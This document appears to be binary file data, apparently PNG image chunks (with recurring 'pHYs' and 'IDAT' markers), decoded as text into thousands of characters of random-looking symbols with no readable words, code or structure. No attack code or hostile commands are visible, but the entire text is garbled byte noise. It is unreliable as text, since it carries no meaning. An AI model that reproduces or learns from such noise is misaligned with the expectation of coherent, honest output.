EE>E%R҃2rrJʞ*%jFjyj[hb{44*44444oiѴʹ\m+ү2l>2R31:1022~ebe`cejeeF13[02W13o0hcYf%geuabma}͆bccKag:?"|H#/b-XYw+C߹x̹^s}/p?c³Kū[;+/o>@@A3T6BlBfBiBBN!E,, $/<(SDRWL(hhXXwq1qo/$$$6%%%K$'RRIRR_ŤJ0Xˢdeeeȉ-sɻȗʿRWPSxHh8RTJVUUUTTU=z4h*PUSMRWCe
ԍϩOhih\ҘԬ\
jVN!1)ҙm7OoI@A!0552b71j21V714a36i252=kcf3b4.7-~Xj[YYiݬmmmVlll'U5;.;:e:r&8;p2vQy]oy`<<<v
^/[owٗ_qǏ3pL)}	=au14+'%4*t"L4,;]Fxy^mĝHȑ(̨w'NVEâ]bbbfbb/ݍgIPN(K88r7+15]^R]2yrpDLJQ^Kj__Zvڧt֌ČL̦,جlӺП?۹uR [Pq|B/d_vHBѵb/\.ŕ,}WfYwYry9<|¾bR*jߕ髆W;\\MQTƳfZ:ںA7oZ?ZPH٘޸t]cD^K-[7os߾tNf+zuͷM]xAG]bgEޕٍN
][wy`Cc=ypHkXc'jOzFGzj<}8368?xxb6ϝ/|202ΫitLkeܳss*X[XX[Z~{L\]{++W]VW?8XHbIfl6vgy5kxc~7jWSgǾAXo,7c߼߼߼߼߼߼߼߼@kXNyyU
-&1
);;pbQFd!kpG3b2Cӣ1$YXRunlHq2*ڟƅ֒Έ^AQIYEU=+g qn^1>@$N	c[(RKiM3Щd̡QlU'5)b&FfVOqx3C>*hSc2ffo--
cllU8o:8e;pqt5qqP<#+ß124X8A*nudEtsL_쳸SD$dT4t̀g-ɭ:Wל^}~Ʌ/f.-m_ީ@TRUq]sͶگ&Һo>o҄o&
NTN]N{	/wG/@`֡'ңcO=za;Ϋj!sK9[VqFvگ%yj=;8@ I(u4=)!	rន!/'RSZSSpБ>3n2m2o|fƁDqA\[3<|GsBqaF%&1cq6$OK9Jwde\	z,YTꏞTUcP[SѸMӥ/g5xeXgkllatXYyվMm]#pZptiqV^x9:Xa	аuFO.FE1'ȝMNHIOJ+L/Ϩ˼u?{ gԙs7}B,9x.JDJ$.˔+UTZVy]uXB盈zF&ؖ[oRɶ;v$ݭ||o[Ǻ7Bn
R<|t1h\dY)*;9߱^tXj]}~tUCʺM矓|{#Wzot@Sbnq
)@]AaW'6Ǐ; {NވϦ4ޡC1$seWdz“kG("c"b;bg%$y%7ڥddd.{**+(E(+tMS5RW[PoЈעZԮ׉MWJo^lkSn/]60ܳn`ki'`g?p1yeڵۭOHre#> 94('8DLHth\XbxjDVs'/^+/K(;UXT\RZ}:LY\snyN
/^4,+ֺVT*W&uY\BRJUk'kR-qކfX-w
[;t
u_u{'o a@!aǶOG>#78lԋWBq3cs_b޶[Akon}AthC*Xs@9QƓH=z)Puzb[X><IpԀ^Xf (
C0V.,V	px)HE ɑv:GбEKM$&ŝ"ÐsM|TZW}*L 9V֏lIJkspl1"z':Ugw"Jlbp*ހdTtLlE\p%/e+ݣJju~
>M~-Aa
AǰfVV6:v	_]]u=
<|2}W/
d|+5SJNOH!dfV˩9Cy66w5>yŽREDKd/wUTrAuu؆&[5wL[o۵sO a{'{;=}^8Ь7K*FVlW,>>$Q<U[Og _sb@#$,@:BPta0X	N
׆+.)GPht3!	 Ya'II'qvE`r<^?Dq5D]Cs'M:z:1ǘ0׳ij}:r=ÑSõSɛ ` $$L`F<-V&))# m.c$'+,MV\DkhW004t123i4=e`jyܪz槝C3kۦgה7o_9r<HxعOQѤ1	?0&;8O6y´;E'WJ<J./WV^M_S[Z7u3ٲeve~zN{]3EOcxj21}T+ׂ7Kw=\Z\>AiUװo~0DN/oc`|@{2@GE1Aʐ+K&s	pwx	9qx&s8Pqk
Lfč%;N3Y9_HʡVޢue`df|ʜΪ~q=F|Hn']^>~~6zAZ!z0|ūJ]*;jbZ֚ZQ:z7
MRL͙SZh[[uXwrp
ܬ=q^~CB~goK
ˊGG`%OH_Z9Av9*G.\.4^jX6XU7\~Ǎz&WBVkv,vc~6eXc3Ϝ'^MmΞghԴ3z_2ccȦVv_JF3N}Gnڞ}C:kJ֤"76$>1{WM?3<{h0cS?h
?:~Ys?ca=<5{j |p{׈E@I!~#3FP_o0v5bw']/].!&&_
Z	pHYs IDATx}`TUL2zH*M,4ewm 6WbuwU\+
Ti
BAI$L~{_Loo&rι{γO'"lB(&G9`0B'G~S5h"@.V6.m&gkvh9
g_P0Et1RbH2PSԙ	("zC#RL9"ZTRH~As?|_4QGކfrRGu鬮P$Is(6H fgs|^(dEJt@fȑ5,O('IMduggQvq]WQlN\hJS'(,E"X
ߏ)RHt;R61W^H"zꊳ,%LG9PQ^zIX!)hXMC U,8u(#*ǐbh5`

Q,E@:t4
Q.5%9CсEaS	3;M'¦9PA*Jċe+^.U|~SIspzD`+.(}KI;hqrQur_	n2SFW"S=C9yJKKjUhָYM Z{'V;KCK޿w#Yel@5aX2_JeaG{ѓ_-%fzu׭]`GEd-8dD8$yC"R'8pߔ(BDʠTdg
k܅$&׮ۨwH*2I8:*R.՟x<ҵbl8"B0<DJ@Juά&活\	5jD"߶=۷m@) I؁FS*;csθoq^AG"ScIW"|e;wٝ.0']raӖZ^t"$ԥ9uF!"1PQp*V.Vdot~y/'=n۷uE]5r}IB@EBFm
7tXyt24HOBRA;@E6}JuWKoڰij,Vx pN~aoziJr
a"#_8f@]#1戋[G9~h?D$9%gU{۞Q&ʗQF5!hKN<ʕx=vh-,LgÅP`72kn:>凤c,Wlff	R3^Պ1i>owk.?<U`,YRk
R5X98nm#7Sh؁ :5tx
ʂ:8}{\pطh_ڱu==iޝzq^8dFJb8qS	n[{tshz-4X-Qx̝VhިYZuvFV#z
_;yC{wꉩU:FʜcA؏>7__O'BQ[YQT@+Ƃ4NUX1E]5AE:~z}22FJԀքr?xY8?yјA%7q4y6A*727SK>zVkZ]*z>j/<S3rcA [("(ܼ:0{?(Ϛ?W^4nN
Xk]	92JrիSEh5O,tSVh]	'jdɨ#ǎx|_]ڹ弡Эg|;T~ɇx
QANbB"K':N3"V<oqYݱI/F2%Cwg~7VTACVPIy@o
zcB>qjFJITepW%b,%
6(-.k&-&_\ L_S8=Jv"e7}h;?x}AZM^ Q6~/-[Wgؓ)	byjմe&`-RSwxaG'\8aD&y&̘ɜqWխ9Ug
g=?^kd	@FM
*JEY0/Y\F;yKѺm1,䬬>sߠ0pP߭.q#D$fE>\^Ǧ~^7!D@X@q)S{?ё.
3aCH<EQdOQ|k!5\}q#
ןy&eeB#Edt)v9\:]zM;~OVZ:gx@8Bs'9]/\'NFrN=> u*(/^af0be)dlݷmƋ3_
yg޺B:skg,%N& `\O_ܙMLL
~Ci՛mF#5WZRh4 '+N<\/s4Z+;I\eOn>Yfڙ
4jܰGܢHv"5}feFzNmqmٵnNuv:c* cx͛؟4{1v=w7ӴLԇYYeOaj˼C?ܝZ=k5UVJRlAwĩCG'o֍.MCe*)7@iGw]bݪ
7^ЬENs0s	"_yp;b'n
`z+'b^d
ORRj#F{JܻcI
JJi!knrJz4vFI*B>4e\n;AMJv/=	awE7ೈ]ޑ,(ǽްQ6Z<܏kq>~wP߫2j
aRRU
-lIyo߾s|^j
v
,J1)'cWf)i6oos>O|p

3
k(Rfu 5'@UB]vtB͔(E+t(H4D")tS碨YL' ɡ륢X3Ъm?~œ<hwQOE{&b:@ogI<M!]hҕɎS_<<;-Sy-(D5}4Gĵlzø~O;ժa0bR(Ӂ?yח|׼{8WCg2(;Bխ}W݁+9rȑ_s֯]~vM־EA3`(c#&+BY>{*t}q~{W'PcApi!Li>VI,hj՟IJy.-9{#hyэR-Ep6\DjPCH:i&A
4	*,dͭ-`Wb<@D5jWZVv]ìYΎ
B)*h}8g_LZW gqm7hԼYLTN:ؼ6_[+G)8{5{{N\X̍rх}`׾_!Y~85cGwyKY:!ԇyi͠HDywɈ[g-xK)p4W@advz:" (ؙԴxÈoorH!--X횵,F[~jOHKɞZ(qlb8 t5{=3Ezӟ{OY2D&?1P]LNV-Ifn!L㹁@tRpK)<Vlrw!eq?87??DeV^[~w-$Y\xDDX9SR:NfBQBu;tGUq|]].ikf<q*-CI jo[0
3|ӫ!hGMFʌ$ɪPFb9ud=?n\qfFm<*-+=~܃R]IM7)-*UkH3E0
OOL~Owj١tL)~E(jit8Z\G՛^;^zؽ he趦|TT|eVF9-}d?9i`<Z}I⤲F/U>C`M1kF)1`iys{x0⢂uCaf.+A!U+PLZJ`=43ED["ҪUk԰ӧ~?yJJ\Դ՛7jaBgÃ=1QC=ةU¼
f:Q8AȆTq8)
?1CoHcr"?	"SQ>LNwcN#ƾtdŇSsO8~ANB> LU$uD͜ZAmV].zx'eCbbʎ֣
XDRx`xjTv4kG^x:Iź[ĄDOa	
XSP@䵤rv  fnܲ @F
$J$^Sfysy¯}ݱgZJLkH1WUqT_/'Vp"%x3sByB/.E_sfd-	qU,CY8v?Hszz
&yzZML%lItT%="<$ˆSit&ģidaV2;Wm98H-:6bP7DtuRְШ%ۓh Gs;8(R՘	ԑkR"-U2Ƃ4lXX0͈@:z0vѳ0ݺȈ.%.!*qqǵ*~fqz%%4(=#C8VI-c4HM$D%ҧ%'%"KU$6
*4tH1RTSql1"LpPk*U/Sy+RB/tI+u(G`)_֑蝣^"Uk,	?.J:CW3k)xXDGRT<lCA!M}tGt@ܡF0H
`=R,BL 'L:D#cAl]wT#qP=z 619;RLp0,&6\i%0@FT+HqBT̬_;U馸\,'Q SBnJ
_"J	J%d+?ĩ;A/,SI*HGk-J;GaQ%j^\TIhZۇ *;9k"r\wK.E&+e2,2RN_lȉHsd(#0:ɿGV0'΢dJ2"B)^]\Ժ,|'D])үX@-1휣Y1"s(ݣ('a2y`csO"
s.̠p:&0"j"ȱ+e
.+cfhQmK28*U+«ԈD` /sDĨBm.F	`.NO"\BIO&J4L$S<2-Ɠ5)BnFb_UxDEb0/ÎN-[tbNeĆXDܜ.a[q'iYE	eHSgxTx<W0uPDT!T@zUZ
1`<En#[F`q+xz9A%hRG''$%P:[!cJe<~΅*8/:SфU
#At16!͙MSCG:kf~0#`&}Lb# (`?Sͫب"0F
V*GR,AaȱdcK"901 ^!$p9^9	J<%۹s&W$_Q)>jC̘>[ˡ7SYb0>RH~&l?ӋG:
1
D7I.%ԓ#Q1. z0TCg%EIW9F<f,qd9ڨSkXǙkj-⸠=;Ɂx-fw:hlAo'>xЁ1-42ْa?5CҌs=v{dRc!тh4ë&i+K(ߣd3nwCs<&Lm5tOmlsB~SzuQt'
q鈀:Nq9<<GS+8rGl%=brhlX@?'%7DS3BkN(:NAoڊ
kܖg~vXl&֥={B:<7.:xT|s-EvG?}\Y13#BC(/'`YEɽs`֏ve
%3\);u(z@vc%H¼@K]2vNK)sуD8sG֝hZߥ{5./~5gG~XōA+I8u3U$_6Ye-4TYհ$g#YcHJd9e@QN1IPA=W81M&7m-<V?ZX瓖Tnff:NW<^Lr15i2ݢg2Odsa1kJLJMմwq2iȽ>]8spRjrRjVH;gDEQv9KТwgF[9gÂX.ٚhܫ^('Ξ}[كz];mKV3k#ٴBñ
JŋIICے׳sJA/^ɉL9/F)(cN/69Qd'`Kf:QN)iH:<rb+05k֩	,o2`a01ѰTQl~]+.in&=he_{SWZ#_0 8<%3S^ܒ9bxck_9^KÊl쾦ZZ춾2zmܿǷpxm~冫wmpoö[F̘|%/Fǡ#-^Ԭ;gӓ7[m`o͚5
*!"KxQ
9AbȀc0+O<`U53Z7QB@>Kyi(MHbh='O:y<_ZDHp%'mXnݺlD+*%PEΑiuVVXZ=Wͷ޵jM)?w~k흗u<D+*ٳ{bԫgfnSc5mޗ4ΗXՓٰg߄@(w.'⏶xmSGhO۱f
ܹNm`ŸB1hCĸW7x=GYɀ9DrVA$0ĝFO*XuTaG)}}͆!KcD6?XWXtЇ՗2?8-9=~~,,-0F<;
KnPsд5>uT IDATj7GҬzΒ7I
m}%d*]uU8
@nloᾹ-K
dB-uOG6
ڣB8NӺYHtl-~FfkjAsF^әR"2(i%a&H<Gm1A"љ_5@6U1xLd/67xɮ23WoJ6>|eů`nMH4-WWɿonj,	MAcef.b*lS^ydwb۲`nR>(SCPc¡Orh[piw+/2U.5v}[rfNQӠ`	)FN"N"OEJa$V*V! 6G?6H
QoI@hKl)vgS=J=qB3Q?5.BٱkS{w޽kw0Osn;oÂ{<~!
	iښ	3l>}˴vcjvMëvsrvmޙc9맜ٻwq7>piz\m'=o[ $R~h@ssǶn܄Ɇ#Kȣg',¸C/O~
WBgu!*XM^0h8-afV]۴֮VmtbJ[4~8lV2I꣑Z;y='ih[6^X7a飲&Q}EJQ
j$'<wn8Ļ.\om%4[
piщ:q_6m-n%hZ.(jϾW}Բn9cO.?ߺ4[4:-o\9Xo֢{pOp:-'e>v{ᵂR,B$[UDu`Fg#xJ^z.;jqGxغ7@GF @xoWh^)	x>:\>Gw+=3]rZg߭*?HIO"£ͰJIw|83>vf	hwDapErl|յWpǔ#kX.{%BS|ƤְUV/Ă˾߽^[$t֪FYhI::j~
\xRXP/i`'[PI`C(ǂ@T#%3CP
f]	t}f\‘r|գM[s߻Nf~cmۗ552CQ]"Yj/&g-:aGJug^xIHzeF`G-hM8Wb"L))8`x f\}nco{B2h^9'J_Ί6:Рv({2 ȸ%5^4^/qL`@'\jAMND h>+)l#JmҸ(C),{m/mΞCԚ#k[ȥ#H3εShc[4!VDE[JiΗ:bt"hC6VXRT,„(6"!|B#&de-D5bI1!P,CMYkqbc
G[n
*mDPJ}5*Hacԇj,UlB/>!j@d4YNzRZD
6KC
IvNNa/1"%K.i%a+2t:D]<5!q'+ 8o0STҌX͎#zgj< A9,9
OHc#MIz]y{k`ea!bA-J`ZD-#*bzXU<ԑ!P\AS(&5*,)f39=\Y>cb61-kߝ<
/rtJklЈM'*jgtp
;qVL8`<T(˦CUH@^M)	9!Wm
B4Sc~	c:iVt؋e?*T]zU93%?ܡK	+,luIUh>-ƙ H~l$AFP}4%\t(p/h6sHٖxsؿf?s{O;xJ&1\v'<ٍH[{~SMEJ|#\}e˅fMmA@聁n F+FfD8^KG=蝩'Zc?|Q.CmYi5oxl\V/AK,4s14u\ODC;D#zA>y:XǣANe-2ƴv|RՄLF:q5zMۓ\Hה\BWĝC/$BkJg.G[XK'lາ({#`uJJ)|Vbu&7h\ͭx/mnAɋ?TAL2kI@2C7GE+#ty!-5LjyqPCU"xk_zB߇%T1&˽Mķ~͖ܰmHE)1V)g҆ݓxem’;?f]԰YV(Xc/w|۱NEYz+?0،m~w_EU&Ht@<ʰ6K<AoZ5<`
K- @H|dpL]9)a"JDg,}}wO*zb׆?
\"c{wk70tަVpq|_hpa;&^w?znY^dv;I5˽/M/X܋R2zATxNBT?1ŒL2'	%jHNxZEAL`Fp–-u H5F\q<OW%9YT";wrMW4m5vSh}-,ɍ<6q%B	_sőT1S3yrwUj˽د8(R)rx̗7L$0TegBYCœ`
AMDI[$hhi<	$'3aW{mD^n~	|R(R~HQkE+Ѳ=`v*^~Z{5L#2Ň"dF1dd_'EY38mu4<?fthH
O0\xD#BTZ=q17컝^`Ϩm3n7.Z._K	#־sd*Xz
*b	߲AG9-kwr#Ѫ$.^>FWU'dr>7d8բe4ev/)vNf)@v<pV9T$ᄱ;
^SL
v<:1B@"˳|)uGG.܁WpBx)Քk_/5J۸!+6&,N80sW}iý78t0غsieܢ2
EȢ낢ZČL
jT+5@%`$HpHuh"1KQ>/`F!
,8}AawS3kںԱcvӬ87pXKoowkUm$?5^lmj;o,0]qg gCAlO(T0U^:4 E_Sx|R!B`4K3E8Vڝn:QI;=2Ádv"ㄩB({d%0$`*?0 P݌):RM
u^KoA¾hM1_LB7|x؏M
x-CKxwaMGxbd.R5Դ;J
N~˓_jh&SË/{8;eNH*h͏tأX
p0D&aNd$m(9=Ⱦx|)-!@[ zNG޲o緮i0ACl	_|(R#Ue  qDD?Hg4wDVq721rT>OX$ֈIO=)R%[GSpaPGc-fh8Vht2^U
Cmύ4X!`C$:bZdkGs`sL㏃ZDjF^,S΄R[)*&3,
H ?<6BT8Qb"ɵYCU^J+DKϼ`,;\RBx}-zrYZE>STӴERY0l9t%$UOJ|wLѯ[Lzi"ytQ}5;kV%B,8*ij
A#щ/i Yl
T,:<XyN2SZxL+)fp?crnؚC
<g1D
yٛ6眮(4ٷ-U9|TV+J
S
4v?#x
hs``gǪO$@tB˃Y,b;ZVVVr];fT.&w{Ltw2<ײt6!*
V[/=r\&lXk@ϥ碘˗1qȖO"ŔhUZ&[@66	f_JZju2ۜE(PD,NCL۽hk$)vÀ#!/(^#*|V5?ny?_γf$H~U\&Y"*D1QgХ6i5\$cu(f-M;k֑J9sQ$fe;
"9DhW/PI]Y4H4?(fd.vi@ySj=ot4w(VgS^_ᒆb̗4
3Gcިۅ9p8J94Ol*Qu
c_>AFx&GmUMhcǰCY-1(H$%#5$2Th.Ljt"cN%gz'c%wQ Xƺ^:ڍ
<nxAeRzyr{Z\lý{e%H>>4)%z∗sߝ2f%}'w?MTm6oЊ71"ŕ2ga^ΧF$&RQ~slGtHmwPig`䪙+w޻g$v)y6̟JIߘ%[vES=pD3Y%,;p1C$R&4M m$ʰt.-,jשqeG47/ v<%I0Պ)3̀"vPWRZ]6Afo<f\b2-n|gO
!f=[qۺ,f8~|m_kҶ:~g_qE䑬wO_t]2_k^u#Om¶}'?Ia8BSI>yOOHn邇ܠs|N;/f/wv~ܧ.زA/Lި"o,r}an+آo{7_Osk]9Sq+u|TP}ta&~D
"&ba*aTFD{ Q]Fxɔ+zq.
-,TZw\3TXhq؋إС5)}pxf3Pg*mo]}{t|~'7plz<nhv"M0壍ύڵO;"l?.zi6vdL*I?3ex̦G~]|qkSvt]iϿסguQ½s'5lo==(oZ=:Ʉ_ꀯ0鱚bBLؕu} XL2$q@IOA!RPQi8PNAN5OGˈXZjI8
IZPeU?F=3˛00U,[.:ZWXK+I4ul?M>WӀpMF6/F$n;jy'ɟxvSP#l}RAaq!GvoܺIKnخMS7MTĶ%Ccs̻,6&r
^V6k;QdVޚ‹qHHSGP=׬Q`	RjcP2	¨zkJJN]
EG 8H%DFRW[Ke﯂3E^97n=73 bÉK~gwmzfuqx7NGiwsn̎YX8o	:7m~mc[xQzTGLi6:&$`ɟ%sqZо{+Di, o`2>EfpB
N@Hz	/v$XNGu,g	BfXa(g//p8/l/'v4N2cYZp*/g_G3P@otHl;k;Oy7lȶü.d鲵!u\ؾ|j^֡;yhYA|}&zp.|B ?g禝y;k{sr[6Ds"BMYMrۃC_2b,dvvԴk&[a>
'p̘!ٿaeFNi+Or(l^1{&,.:#T	EuX9߇˹/f ˶
BBEhJF-n*DR=wߧXgxCK|Tx3>B2;w]WKfylq߮
RucgZn1.׉-EoyR%82l6Mkx˫7F_{գO݄+1$0a}4G'|xG]犈W6l[qj71g-~}ҡ)~TtMnyv3nV9ߔ{&Yή@arʹ]'h0\~nI~z@ͨKXCgj<^
Q<f9ɘ&3f:H;	
$.>OË^i~M
|H쉣wLۧddԏ$. 0sa?1{aLSg+Ifh
>(mG
q"tcTt6$> >6ok"TR%a_9op#OYfzs.CȦW}7~֊)5&0C):h1+CeVJ_D
3hOxȉ+fL]ߕ
BY>b(6䋘Ưz{s
`V	- IDATj`hSQ>`"BM'Y[z*u}<E`4zyc΁Тi4B}zO`%& 	+Eb\XGI~'
]6E$׉(,Y&Ąm(9weݯ@xBZ\[kh18Qs Je*@m+ADAFPRHreHNM))t:zBN
o59-)zI"c
| 5F4Ld@ȣHTH.7PI!aWf][n~y"4+5ik3E~	n۩j*hbQ:1ɕQ+FSr`狀aU&LJNF6E^g<5
!'TMbX?Bc	U9U^R(Gh*Z<SGa%"shV(HJ=#`*^iEӅ0sM4dW=8(+ І؂U)BTl
;*]sh|*	O>H4ڄp1!wԄ1	qEyFh2jJ
0LJ_1(
xJJ~axL{(R0kseDE	(U&
-1GVEH u
BD+Q
j]"qFLR\4A#\GkA;hFUYX(KTŞ6VyڕF?@EH&4Ls[qg技!_ÄYl3e 3T8?wbhᄺguIa=K<UYZg!fPgA+T\`pRB $!(izZH>NT~H{#,@m\I)R'LLa*ʢ|SE%Re]GUfT@9ʾK 	B!R)2$PTfEh;qzq|$F4ёm-}GSC<A$d&=*"sQ.A.FʏDFF|/NAt+UP'!5h.s1v"֏b+ԟBjY–.?tE^zj^zƉtGbF=Fx4*!

Ifh؈BhC|BB|rj2O<.É$l&q-%WI(ܺLK#c#FαGWlZEm6pjTm̈o;Q$nІ5.{&l_t>n)#1,2T-HԋU!0Q!?)_Tr&Z]sr9QeKQ('P؉k^DWS9}I<Z#Δ/Æ
v_ZIfFkkBFՏB HReWL_1EKp8#eWd*iU5xEeF,ţCxyݞӇn1A"uCM
 =BntIRWҭBr 9?1eBUPR⬢I&}FH1q3%}˥q7(J5XAvei޹5
^LWq@Ckac:G' 9:GtiL*M$`FmASeymq$eDn-b#GlJ+g$M
` 9"UjWCץȕE=r<&}(x8eH#ъo:W.=|~+x͜@Z2u8iTML\P~/T;zҼa(͒e,=pbg!53aKjW=)/X[X :EQc4CB EƊrTyB+%OBfr9`&ٳvŅBA:ug\)u3JKN/yn"1r92&MŋQ 3|Pw*P#J,()5-o4q1\ps̘2ɪ⠞L}w&Mr?Cgw"W~dY|Wh#kŏIsa]VCBH."yH$c`ի"삺x\vC0jC'K<T!PDD$a=/Rcੜgχ8\Gr7w]_qrkTgE=QAzDdcP߿6G=[fq_36kRrx]C1XšG_iƌy\#NCqc&^33qOw9D@/5FG3/Y"_G!`֨h"uJ)nM]dϿ|WѴ+<PByV{yL
)uBYx5,^Yƛ7hnSf-8X2I}gj6>͍\;(BcYB|+[r\Y℈x>0Q5PgQϱCY>硁={^ϊcRnֳybG	t&Bq(ќ;q䅝8
r3WxpGivmJ_Cf$OuV(\3U|"]؇9.cIcKIgqPzHN)!(kɎxA|lD	|q1xN}0yBT RJAc~Ł׃uDϊw77eӿtՄE;5?_f,&vi|=[3jM߼EBl҃5֙,}?ݙQ5=;;vKeWOu\ѐ%*e xr	b1a3{\H6{eЪ};m̏sWHa05`n5dƖF7HU_L<0V#`'K<^lƏ]1h@QuZZZ"댂^_$Xeݦ¸CoHnZ|5(yn{MPyA-/{7'ax	1n׎m~|^ftx?ϻ:
v|C_s؉82[㋿=o;S`nϼx4륗4wScڗ4&;On<6{|0-`N~}oM\=+/.J7b洧5mο#b9
bث+{!]<#{Rw,
m?{h֬?+KeUByQ.Ph&4pfN
2WաBe
.`3/ݩEm^_4پ[u7J8;Dtk龝۰_8eÆ6޲E3;qGWμkanRv␢g'/Wj#?3VPs}vݺ^ҵ]{^{uQf}&<톖_NIWulq*-nuM#[3Ql˷9<wSu960n^8qxמW_v$019)Z3>Ͱ

:Ə	</!J],ysOnuJ:u7Ly`zw{ztyu;\W?W|Zo˴C:[yf}¬+:wTbZN܀+{d0NIL$j_faUpjq_	4<^Pue,$új-UՆQ.`<	sGWk٢iH8~M8cDE 3U*SRO-DGb,$:GNKrHҞrEPu,3$,'2>#MW-ltF	vrȟv>ٸ#œZFՀZF22bB'Րڙ}YۤU^&GȠfT#pEvr3/BtD|գ5muvaU+&՟Ζ7_4%NeznpX<e2H)so«'I0
u74	x^LduA6◳ꍗIn_/[LFÑqY6[C[j[ݮymP?[)\my[ru+6_(*v'
MӋT	EXЮ]swgg޵+'Ӳuս8t;uk6ퟞg1	5:2-JiTdkàрq[6nʋtF)8{θgeTw:tY"weEAtFbA;őj@۲A='rǷN$ondg]N{ɤPh=py>E^kNjv_W?.M!kOi-}?aR1l';q!ԕxnW?{6e@
֮‰*!ԨKIڀg1vSl)o~<&.<JڠϿ^60KH'ʘ+ǷҴ&iP9֖os1oeXv>	SL@‹AApKJ~iB'X	l_ÍGi~b8asH6p=O2{24
'qp~6K+o6_#;ª[z#j5_kKը5%4yYg0Jʼn_>}k`=VvPPv*\x]pmj\25|]cd:B[h#;YK'rdI;	r:Ҩ0AH
tbm"%E3B=hF#%a!I։e}g׮8Sf]ceT\xY
<#Уқw

%^vXT?j]$␟)䍉D\oVV"Z]|<.[R+[}7Vt)*uNu@*)|bf
*K691DH- l	$/TՑru-FN9F.LU6^TVZ_֗8DS$.*{VZʣBpUĈk{zG
є
c!>ŅC$QdFGLB#ja8]
<\6HYP5FYĔ.qyU/f6P_›j0o<%8+VZxh(c5-i2bIGlT_;\#+psԯe(*K"'"jIIl3<4pԘLBEjG=0ۖ681-sTi
+ T؉b@f3 PoN{O-S@̔'41![kwj";TpTNDWS2%D⹖GYsi:np4F0Z:30	vU#^eg,Eu⥩hyΉuĩs%KTQP ?T*T"JH'	NU-ὤ#f5z&~wʷha~l3܅g۵#G=lvQ37*6,Vѓ4,E&<zcOϠ$Jo*/H>怊.*1飌E"c>|Erazn*oLq1T_L
	9L踻ESQ'M
}Cd-,9Vp6_?s(u30$)QAT*ZXF#UA~npx"Htqt Q&jL3'UlׯPaaVI'C69ZD=faB!6*g0孌<FV&s&Hʌ"mz1iwV^G[ʊa2EtV2.mМZ2D(BD"DW%tNu{NDXz~ca@H^QqpS(k~*jp9qk-Rb*TYsɐJT+\1K'/
2'=,Kjx4DwlN-Z!$[tC/~$|9īs@N'A˸o*r~s!̈́,W7[SIB_2
Lbc.&iDN#Dh6ӫ
B՟2}G'\y^i12)Z1;}Vz/<T(Bd3ĴޫXBT*hhV^QWn(ĝr5RrQrE%4y._b(͵)KxF[
ͺ/uU՝eXqQTn)N{UCY9?[
`X,\G9\"<*24̈G٫
HÒuRY9͢L:B&鈤%"
tQQ|G#3*@Fa	Cx	KlT%JTnHH;G:"C5;:f(,k&0D.,^g%9RghаJsaI39Yՙ_lͥ(^6c̴G],01A3{ETњg4WIJH<@,:ǐĄHAU28
CS4MBUͣ^Q*+)tz5]1kA7Wߴ۲^׫ɌՇL$WzS/o9wm(.eւ]O>`k暙(lqK.%^f+9fB[Cgծ ddLhshi?zz!BPa6S2t%gjLeByoU}?-}v2cߎմ'm}O*+`bsLh\k[ڶO^O~5h=I	سEg#ZE40ؑEV$!(@ؾDQ-%
3vp{sa?};kHS{?{h{wsfTv!
X([?+an&nHg%$'87e-\}y㕣[wYi
kA5-#`Q.!>˛1k?!ASd}mluKB<H
*sZW&Jbtgz`h rh=P]ǦBR?EdޞkNriŧmVNdg	nױ}ސ5*tV
ǧkMgװ͵.-n;6w]ǧ?M6~̇K^;
FN?Ҡ/<p{q,#Zx|orز+&E20WmEɀZ$Yn(SvB8,nl,9}aL|f(%Z@H»ay(D$nȾ[n^n!rtRg+\{e:\x\[}mwa4h#74l^aIà1\m͟ц5/fkڃCh-.TD;6^<ⱁ]zSs,[c
c9]9!I>I[cĸ8ŋRdP>P1	MnL	xD8wMdռdnAfS']tɯl IDAT}G6גaıu#I[ǡ\sYg]<asMMiW+ɲ-u#YX*M1 EQs@!
WX+ECF4"A!dt`ÙVZz23ԡ:ל)_Pbhfiik	fNqK5Wd';Zj%}7l0%zDZ͵ds!=$;2=+P_`G57ľ]D?ux ~onɠHZ,:ƹyajL1+F<x<aCS4}x8_LNmR-Aکq snьoxoG<"톅OdS$;Z>)
w豞Cfja2&
na N\۽;{֪͙5lڲtL֥]t-@E7s5~or.3ä6N5(PP4JFi
&"X/FHk#Q@k4њjb1"
o(W)VbThHf̜3{ϻ>3g<k~>÷zˇyJ˽ћwN1z_޽GO`^$Ʒ}V<]ëf8U>,]N@xd_D<6ɭن?YΞ?Y/sO/Ͽ>3|:[_o}ww>?vI܍/xwO}o~6j?wo{m/	}{?12׿ݟ~?ǵeεɟsծwtޞ>Geˉ[Ӈ~Λ`]1EaUqsYm;z>}raW54kf|FC0{r+(dcoy/wo>%|[繓{$s}o}0~?

3vv\W0={pw\޾&\%`k[곏@uX(VwkT(q؈]&3kl'G)So$ aӸcBϞln>G}^}q~xa>=!#:c׿ {Ƿ#C?t_jxцMr m.sm/'}_Ƴ{w\.t.Y`^dܤNǮZ[+!C
i8u7t+6Z!
wrΟ99}s|;A*.nk}|pGo_/{W׋aJɯ5+|4
n
FƮa]cA-ADbp_:Ԃp:=ڟN&7i¯=}v:y;_n_{qtw^]y辰qo[҈W>=Ji*<C*QpC:9؟8:y-yaD:\!-g;޳gOyohrYP:]39%.ߡ޴=DݡU89#
`J~˄aGdʝ&G7'gsN\!ثt[4孈Y/}6oYOw_E}l *]Ej`@D]6ՈHגEqoWY	eOu&68
GGtǧWN8>-#>kpݬ+O# ,v%ngRz&G~Iʞd/ѣ~f^W[e|#iHS1,3~Kz=?=~ރ9>0BLY-g:kNzds6.O~'􏔽J#H:k+oGG5pU/203ϟܽSj^U[G5@)iu8?]~yN=qk񶴕(;XWϢC:~o?޿[cq΂k.e+'!fT[yBJ{fM	+9.UŊW$-WU@>LX.~/,`jۤ0xCt֗̀SUʶ0#3%`~3|$jjgyu5p1v
h:4!8pǰP"=-%AqVR0|VbC]?&.daqDdz	0y&7∳lȸ9ttaz#ݑj零+`~SS$|TB
Q8zL|lro~	ĺ<Jha7%(gN^&Oڌ^5v}VL@Rc |{/`"+SA`hH^Z;r"a$_*5"8B.֑ޑGxGl˼H*zƧcWwS'01BƢyY`bR-qr@DDiFӇip;p+"L)ua0(57#5"ݭ(&$P
.|;]\Mi@ (5a≈6yAF	=4A.4ۄ@j*+/BpvX!rƖXaܸSB!뺂n;GЖ0C:΍m]cp5X&3:@ɨa6Avvy
yԯGqAH!kQiS0Ia8+p.adT(n٤z!VcX6XYWB߯	PxZ:	-PךC=(haVzf i@HR]\F4"UR)Ai
WI
=a*>J	n8B71Mh'hh+KKMa[)2
nǀv7џK74&`U(㝃g%T:i.RfIVk36UH%
!axމXf\aNr)47dU}kPl)Q!P[DIjIVȡ'6y@fIzH߶ІMNB/J⊃YT"R-`KS@I\
hA˦v|)lWb)%֪`
